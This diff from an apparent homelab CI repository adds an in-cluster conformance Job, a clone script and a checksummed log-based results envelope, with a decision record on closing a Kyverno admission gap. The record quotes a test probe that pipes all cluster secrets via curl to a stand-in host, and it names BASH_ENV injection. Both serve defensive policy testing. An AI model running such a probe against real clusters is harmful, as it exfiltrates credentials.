+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -237,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
                "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
                "Velero itself publishes nothing until a backup is attempted",
     },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
     {
         "owner": "kube-prometheus-stack: bundled kube-state-metrics",
         "prefixes": ("kube_",),

conformance/versions.env

@@ -6,6 +6,10 @@
 
 # Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
 CHAINSAW_VERSION="v0.2.12"
+# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
+# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
+# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
+# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
 CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
 
 # kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
 # Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
 # only constraint is a modern interpreter.
 PYTHON_MIN="3.9"
+
+# --- In-cluster conformance runner image -------------------------------------
+# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
+# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
+# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
+# init container's only entrypoint. That is a security fixture, not a convenience: the
+# admission policy never reads `initContainers`, so an init container with an inline shell
+# script is currently admitted with the privileged runner SA. The policy rule that makes the
+# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
+#
+# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
+# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
+# ADMITS a conformance-trigger Job only when its image matches
+#   gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
+# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
+CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# Build handle only. Admission never sees the tag; a Job must reference the digest.
+CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
+#
+# ############################################################################
+# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET.        #
+# ############################################################################
+# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
+# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
+# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
+# pushing needs a registry credential, and publishing the artifact a fail-closed security
+# boundary then trusts is an OPERATOR action, not an agent's.
+#
+# OPERATOR, to complete the pin:
+#   1. ./conformance/incluster/build-image.sh          # rebuild, verify, print the commands
+#   2. podman login gitea.home.keithjackson.dev
+#   3. podman push --digestfile /tmp/conformance-runner.digest \
+#        "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
+#   4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
+#      — the digest the REGISTRY returned, not the local manifest digest the build printed.
+#   5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
+#
+# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
+# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
+# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
+CONFORMANCE_RUNNER_IMAGE_DIGEST=""
+CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
+#
+# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
+# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
+# that closes the residual "anyone who can push to this path" gap. Separate PR, human
+# reviewed, because it edits the security boundary itself.

decisions/2026-09-29-conformance-job-template.md

@@ -0,0 +1,401 @@
+---
+date: 2026-09-29
+branch: feat/conformance-job-template
+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
+    spec-immutability: green
